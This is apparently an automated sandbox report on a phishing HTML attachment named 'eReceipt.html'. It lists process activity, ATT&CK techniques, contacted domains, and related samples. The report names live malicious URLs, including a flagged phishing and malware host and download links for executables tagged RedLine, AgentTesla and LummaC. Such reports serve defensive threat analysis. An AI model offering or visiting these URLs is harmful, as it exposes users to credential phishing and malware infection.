Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: classification engine

Classification label: mal92.phis.winHTML@28/18@17/10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/eReceipt.html

HTTP Parser: file:///C:/Users/user/Desktop/eReceipt.html

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	1 Ingress Tool Transfer			Data Destruction	Virtual Private Server	Employee Names

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://admin.childdent.ir/installer/host2.4/5777440.php	100%	Avira URL Cloud	phishing
https://admin.childdent.ir/installer/host2.4/admin/js/mf.php?id=W7gRqa	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
accounts.google.com	142.251.163.84	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
www.google.com	142.251.167.105	true	false	high
part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	unknown
clients.l.google.com	172.253.122.113	true	false	high
admin.childdent.ir	172.245.92.82	true	true	unknown
clients1.google.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://clients1.google.com/tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000007CAD7E651E	false		high
https://admin.childdent.ir/installer/host2.4/5777440.php	false	Avira URL Cloud: phishing	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css	false		high
https://admin.childdent.ir/installer/host2.4/admin/js/mf.php?id=W7gRqa	true	Avira URL Cloud: malware	unknown
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css	false		high
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1	false		high
file:///C:/Users/user/Desktop/eReceipt.html	false		low
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://fontawesome.io	chromecache_105.2.dr, chromecache_107.2.dr	false		high
http://fontawesome.io/license	chromecache_105.2.dr, chromecache_107.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.245.92.82	admin.childdent.ir	United States	36352	AS-COLOCROSSINGUS	true
142.251.167.105	www.google.com	United States	15169	GOOGLEUS	false
172.253.122.113	clients.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.253.115.100	unknown	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
142.251.163.84	accounts.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1349397
Start date and time:	2023-11-28 16:54:32 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	eReceipt.html
Detection:	MAL
Classification:	mal92.phis.winHTML@28/18@17/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.31.94, 34.104.35.123, 142.251.16.95, 142.251.111.95, 142.251.163.95, 142.251.167.95, 172.253.63.95, 172.253.62.95, 172.253.122.95, 172.253.115.95, 67.26.237.254, 192.229.211.108, 8.253.131.111, 142.251.16.94
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, optimizationguide-pa.googleapis.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: eReceipt.html

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
104.17.24.14	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
13.107.246.40	Credit11222023.html	Get hash	malicious	HTMLPhisher	Browse
	Remittance 84.html	Get hash	malicious	HTMLPhisher	Browse
	https://ads.revjet.com/click/tag236627/8240603449536247029/1?_crm=2&vid=5092849914685907280&__ads=02940528497fc3f26f514509048d13ed&adkey=aec&hx=111950954&agrp=eg35805&slot=tag236627&impts=1699384958891&ad=crv153976&setCookieConsent=true&_cx=71&_cy=58&_celt=STAGE%201.%20SCENE%201.%20BACKGROUND&_celtid=136360464.152574241.152573191&_sku=111523634$$October-Global-October-Global-MF-Programmatic-89_Image-IAB-Static_f_StillsMotif2--CoreFashion_300x250_GLOBAL_LT&_sku_pos=1&lp=https://sunderyatra.com/	Get hash	malicious	Unknown	Browse
	z30PO1028930.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse
	jcK8J7TuBY.exe	Get hash	malicious	Unknown	Browse
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse
	https://pub-f6165c818142498fa2106f4b6d6b9177.r2.dev/derw.html	Get hash	malicious	HTMLPhisher	Browse
	https://anhwa.auth10.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://bllue2.bluewayne7.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	Revised For dean.anderson 201948_Mon Nov,2023,_Please_Complete_Copy.html	Get hash	malicious	HTMLPhisher	Browse
	https://online.flipbuilder.com/docwz/oqax/	Get hash	malicious	HTMLPhisher	Browse
	https://storage.googleapis.com/httpwwwwebservic73hsd6hg36hg7h376he76gy376hgr38j8368rhj9/preload-reCaptcha.html	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse
	https://bccsoftware.com	Get hash	malicious	Unknown	Browse
	https://owfqnegruc.credgrou.ru/384pe/#	Get hash	malicious	Unknown	Browse
	https://qrco.de/beaNtc	Get hash	malicious	HTMLPhisher	Browse
	Aging_#06353.htm	Get hash	malicious	HTMLPhisher	Browse
	Document Completed Please Sign Today (4.64 KB).msg	Get hash	malicious	HTMLPhisher	Browse
	Finance_doc03619outlook.html	Get hash	malicious	HTMLPhisher	Browse
	https://x3cecnyb2cj.larksuite.com/docx/M546dfdQfoa2Dgx1eBKuHLhPszh?from=from_copylink	Get hash	malicious	HTMLPhisher	Browse
	Revised For mike.lowe 170659_Mon Nov,2023,_Please_Complete_Copy.html	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	Untitled attachment 00084.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Remittance 84.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://ipfs.io/ipfs/bafkreihjkamnt73pagna67s4gj5muzmu5vxnsema2ia3wypy6s3o7yo4by	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Revised For dean.anderson 201948_Mon Nov,2023,_Please_Complete_Copy.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://online.flipbuilder.com/docwz/oqax/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://linkpop.com/southeast283	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Document Completed Please Sign Today (4.64 KB).msg	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://x3cecnyb2cj.larksuite.com/docx/M546dfdQfoa2Dgx1eBKuHLhPszh?from=from_copylink	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.bonolacenter.com/	Get hash	malicious	Phisher	Browse	104.17.24.14
	Revised For sujata.tadeparti 173900_Mon Nov,2023,_Please_Complete_Copy.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://lookerstudio.google.com/s/iPNrWezlSHo	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Revised For mike.lowe 170659_Mon Nov,2023,_Please_Complete_Copy.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Benefit_Guildlines.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://www.baidu.com/link?url=SRdHxCn-kX8cI_zRWpl_geBEwIoJAsl9OZVg0nQXmkZZ-xYP5wIkmw1tYm2wdaiH&wd#ZHBvQG1hZ2FpcnBvcnRzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Pmt_vqcheese.com_4863.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.dropbox.com/scl/fi/fl7w779kazpszpeom70ec/Resonics-LTD.docx?rlkey=y3551ttabfq2gx4df3sabqs8j&dl=0	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	eReceipt.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://sk.io/rxT	Get hash	malicious	Unknown	Browse	104.17.25.14
code.jquery.com	Untitled attachment 00084.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Remittance 84.html	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://zuluwarriors.s3.eu-north-1.amazonaws.com/control_kpi.html?login=facture@chirec.be&pcnt=3&request_type=preload&no_redrct=no_redrct	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://ads.revjet.com/click/tag236627/8240603449536247029/1?_crm=2&vid=5092849914685907280&__ads=02940528497fc3f26f514509048d13ed&adkey=aec&hx=111950954&agrp=eg35805&slot=tag236627&impts=1699384958891&ad=crv153976&setCookieConsent=true&_cx=71&_cy=58&_celt=STAGE%201.%20SCENE%201.%20BACKGROUND&_celtid=136360464.152574241.152573191&_sku=111523634$$October-Global-October-Global-MF-Programmatic-89_Image-IAB-Static_f_StillsMotif2--CoreFashion_300x250_GLOBAL_LT&_sku_pos=1&lp=https://sunderyatra.com/	Get hash	malicious	Unknown	Browse	151.101.130.137
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://pub-f6165c818142498fa2106f4b6d6b9177.r2.dev/derw.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://ipfs.io/ipfs/bafkreihjkamnt73pagna67s4gj5muzmu5vxnsema2ia3wypy6s3o7yo4by	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	Revised For dean.anderson 201948_Mon Nov,2023,_Please_Complete_Copy.html	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://online.flipbuilder.com/docwz/oqax/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://linkpop.com/southeast283	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://owfqnegruc.credgrou.ru/384pe/#	Get hash	malicious	Unknown	Browse	151.101.2.137
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://x3cecnyb2cj.larksuite.com/docx/M546dfdQfoa2Dgx1eBKuHLhPszh?from=from_copylink	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.bonolacenter.com/	Get hash	malicious	Phisher	Browse	151.101.194.137
	Revised For sujata.tadeparti 173900_Mon Nov,2023,_Please_Complete_Copy.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://lookerstudio.google.com/s/iPNrWezlSHo	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Revised For mike.lowe 170659_Mon Nov,2023,_Please_Complete_Copy.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	Benefit_Guildlines.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://www.dropbox.com/scl/fi/fl7w779kazpszpeom70ec/Resonics-LTD.docx?rlkey=y3551ttabfq2gx4df3sabqs8j&dl=0	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	eReceipt.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	winrar-x64.exe	Get hash	malicious	Unknown	Browse	104.17.167.186
	Untitled attachment 00084.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, SmokeLoader	Browse	104.21.18.190
	winrar-x64.exe	Get hash	malicious	Unknown	Browse	104.17.167.186
	https://comms.jayapr.com/index.php/campaigns/rd26948g9j76f/track-url/pd872am4hn808/a39dfeb3a9dae0aab443c9208ed955148d7b9663	Get hash	malicious	Unknown	Browse	162.159.135.42
	https://access-useraccountmicrosoftsharefiles.unlimited-offshore.com/?90JC2=3cHg8g	Get hash	malicious	Unknown	Browse	1.1.1.1
	PARATALIMAT.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	imgview.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.53.57
	https://access-useraccountmicrosoftsharefiles.unlimited-offshore.com/?90JC2=3cHg8g	Get hash	malicious	Unknown	Browse	1.1.1.1
	tmp.vbs	Get hash	malicious	Unknown	Browse	172.67.135.130
	No.vbs	Get hash	malicious	Unknown	Browse	172.67.34.170
	envio-tarde.vbs	Get hash	malicious	XWorm	Browse	104.21.6.247
	https://access-useraccountmicrosoftsharefiles.unlimited-offshore.com/?90JC2=3cHg8g	Get hash	malicious	Unknown	Browse	1.1.1.1
	OCCT.exe	Get hash	malicious	BazaLoader, PrivateLoader	Browse	172.67.147.32
	https://bmwag-rt-prod2-t.campaign.adobe.com/r/?id=h2ccc12b,8d23fb3,492093b&p1=//3050shop.ir/wpfile/2054/jfihk/anVsaWUuc2hhbWJ1cmdlckBzb3V0aHNpZGUuY29t&d=DwMGaQ	Get hash	malicious	Unknown	Browse	104.21.52.201
	Credit11222023.html	Get hash	malicious	HTMLPhisher	Browse	104.21.82.98
	CV.exe	Get hash	malicious	FormBook	Browse	104.21.39.249
	SCAN-93527.docx.doc	Get hash	malicious	AgentTesla	Browse	104.21.70.74
	http://trk.klclick3.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	2023-11-24_155912-IMGx64_Your squirrel with love.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.209.38
MICROSOFT-CORP-MSN-AS-BLOCKUS	Untitled attachment 00084.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	file.exe	Get hash	malicious	Tofsee	Browse	104.47.54.36
	https://access-useraccountmicrosoftsharefiles.unlimited-offshore.com/?90JC2=3cHg8g	Get hash	malicious	Unknown	Browse	52.96.181.98
	https://access-useraccountmicrosoftsharefiles.unlimited-offshore.com/?90JC2=3cHg8g	Get hash	malicious	Unknown	Browse	52.96.111.34
	https://access-useraccountmicrosoftsharefiles.unlimited-offshore.com/?90JC2=3cHg8g	Get hash	malicious	Unknown	Browse	52.96.181.98
	Credit11222023.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	clt-dataset-analysis.xlsx	Get hash	malicious	Unknown	Browse	13.107.219.40
	file.exe	Get hash	malicious	Tofsee	Browse	104.47.53.36
	Remittance 84.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://qr.net/A25WCt	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.107.213.40
	https://netorg4867840.sharepoint.com:443/:u:/s/securedocument2/ETnNdibolKBAgQU3O1Sj09QBHsiMKy8FuF6_1CvEXdRFew?e=4%3abSQD5u&fromShare=true&at=9	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	https://ads.revjet.com/click/tag236627/8240603449536247029/1?_crm=2&vid=5092849914685907280&__ads=02940528497fc3f26f514509048d13ed&adkey=aec&hx=111950954&agrp=eg35805&slot=tag236627&impts=1699384958891&ad=crv153976&setCookieConsent=true&_cx=71&_cy=58&_celt=STAGE%201.%20SCENE%201.%20BACKGROUND&_celtid=136360464.152574241.152573191&_sku=111523634$$October-Global-October-Global-MF-Programmatic-89_Image-IAB-Static_f_StillsMotif2--CoreFashion_300x250_GLOBAL_LT&_sku_pos=1&lp=https://sunderyatra.com/	Get hash	malicious	Unknown	Browse	13.107.213.40
	z30PO1028930.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse	204.79.197.219
	http://159.69.145.188/file/pdf.exe	Get hash	malicious	RedLine	Browse	40.71.99.188
	SONY_ATR_FORM_2023_XR85X90L-SN_S0130007646.xls	Get hash	malicious	Unknown	Browse	13.107.227.40
	0iZ0Q3pO0I.exe	Get hash	malicious	Redosdru	Browse	13.107.227.40
	jcK8J7TuBY.exe	Get hash	malicious	Unknown	Browse	13.107.213.40
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://pub-f6165c818142498fa2106f4b6d6b9177.r2.dev/derw.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://screeching-voracious-observatory.glitch.me/	Get hash	malicious	Unknown	Browse	13.107.213.40

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	Untitled attachment 00084.htm	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://comms.jayapr.com/index.php/campaigns/rd26948g9j76f/track-url/pd872am4hn808/a39dfeb3a9dae0aab443c9208ed955148d7b9663	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://t.co/k1C5tT9X3n	Get hash	malicious	Phisher	Browse	23.1.237.91
	http://www.tfnd.org/	Get hash	malicious	Unknown	Browse	23.1.237.91
	Credit11222023.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://t.co/6XJHf6nBUG	Get hash	malicious	Phisher	Browse	23.1.237.91
	https://docs.google.com/drawings/d/1z_dcHDpYdT-vER43TWHuXYEjuJorltAxTO9I5U7APE8/preview#UcgTqvfLaWowa7hLjsDy	Get hash	malicious	Unknown	Browse	23.1.237.91
	Remittance 84.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	http://154.61.75.69/InstallCrystal40.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.exploit-db.com/exploits/20543/	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://netorg4867840.sharepoint.com:443/:u:/s/securedocument2/ETnNdibolKBAgQU3O1Sj09QBHsiMKy8FuF6_1CvEXdRFew?e=4%3abSQD5u&fromShare=true&at=9	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	z30PO1028930.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse	23.1.237.91
	http://116.203.200.249/file/Booking_information.exe	Get hash	malicious	RedLine	Browse	23.1.237.91
	http://159.69.145.188/file/pdf.exe	Get hash	malicious	RedLine	Browse	23.1.237.91
	https://artiaches.com/eky/index.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	TEKL#U0130F_TALEP_VE_F#U0130YAT_TEKL#U0130F#U0130_PDF.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	23.1.237.91
	OF_23204368.exe	Get hash	malicious	Snake Keylogger	Browse	23.1.237.91
	https://t.co/nTJZpE81OH	Get hash	malicious	Unknown	Browse	23.1.237.91
	vHpbb4Bw72.exe	Get hash	malicious	Vidar, Xmrig, zgRAT	Browse	23.1.237.91
	https://www.etesdl.top/login	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://chrisfranzlaw.com/lscmdata/?interprete=UW1OdVpYUT0sWW1NdWJtVjAsWW1OdVpYUT0=	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	winrar-x64.exe	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	Untitled attachment 00084.htm	Get hash	malicious	HTMLPhisher	Browse	23.221.242.90 40.68.123.157
	winrar-x64.exe	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	https://comms.jayapr.com/index.php/campaigns/rd26948g9j76f/track-url/pd872am4hn808/a39dfeb3a9dae0aab443c9208ed955148d7b9663	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	https://t.co/k1C5tT9X3n	Get hash	malicious	Phisher	Browse	23.221.242.90 40.68.123.157
	ATT00001.html	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	http://www.tfnd.org/	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	https://bmwag-rt-prod2-t.campaign.adobe.com/r/?id=h2ccc12b,8d23fb3,492093b&p1=//3050shop.ir/wpfile/2054/jfihk/anVsaWUuc2hhbWJ1cmdlckBzb3V0aHNpZGUuY29t&d=DwMGaQ	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	Credit11222023.html	Get hash	malicious	HTMLPhisher	Browse	23.221.242.90 40.68.123.157
	https://chrisfranzlaw.com/lscmdata/?statement=UTJoeWFYTjBhV0Z1LGEzQnpMbU52YlE9PSxZMmh5YVhOMGFXRnVMbWR2WW1WeWRBPT0=	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	https://chrisfranzlaw.com/lscmdata/?interprete=UTJoeWFYTjBhV0Z1LGEzQnpMbU52YlE9PSxZMmh5YVhOMGFXRnVMbWR2WW1WeWRBPT0=	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	https://t.co/6XJHf6nBUG	Get hash	malicious	Phisher	Browse	23.221.242.90 40.68.123.157
	https://docs.google.com/drawings/d/1z_dcHDpYdT-vER43TWHuXYEjuJorltAxTO9I5U7APE8/preview#UcgTqvfLaWowa7hLjsDy	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	Remittance 84.html	Get hash	malicious	HTMLPhisher	Browse	23.221.242.90 40.68.123.157
	https://cdn.discordapp.com/attachments/1178616045720834131/1178616457471479828/Osram_OBV2200169pdf.gz?ex=6576cb1d&is=6564561d&hm=6c33c465c7a065951c3a6e6e0fdd97599ca70b8dad5ebb6b2b7bf6617a63e0ad&	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	https://qr.net/A25WCt	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	23.221.242.90 40.68.123.157
	http://154.61.75.69/InstallCrystal40.exe	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	https://www.exploit-db.com/exploits/20543/	Get hash	malicious	Unknown	Browse	23.221.242.90 40.68.123.157
	https://netorg4867840.sharepoint.com:443/:u:/s/securedocument2/ETnNdibolKBAgQU3O1Sj09QBHsiMKy8FuF6_1CvEXdRFew?e=4%3abSQD5u&fromShare=true&at=9	Get hash	malicious	HTMLPhisher	Browse	23.221.242.90 40.68.123.157

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 28 14:55:23 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9729710291862417
Encrypted:	false
SSDEEP:	48:8hdEToYMHZidAKZdA19ehwiZUklqehjy+3:8gPmoy
MD5:	F57A5BE4F70D2FC1BCB0B2F05FA51DC2
SHA1:	414E47C1E1F7D1B106D7434B68CCC9261D451BB4
SHA-256:	3C6A53CD904AE1949E4FE83BBAA6290656FFD94E845E305AE1F5183BABB8E586
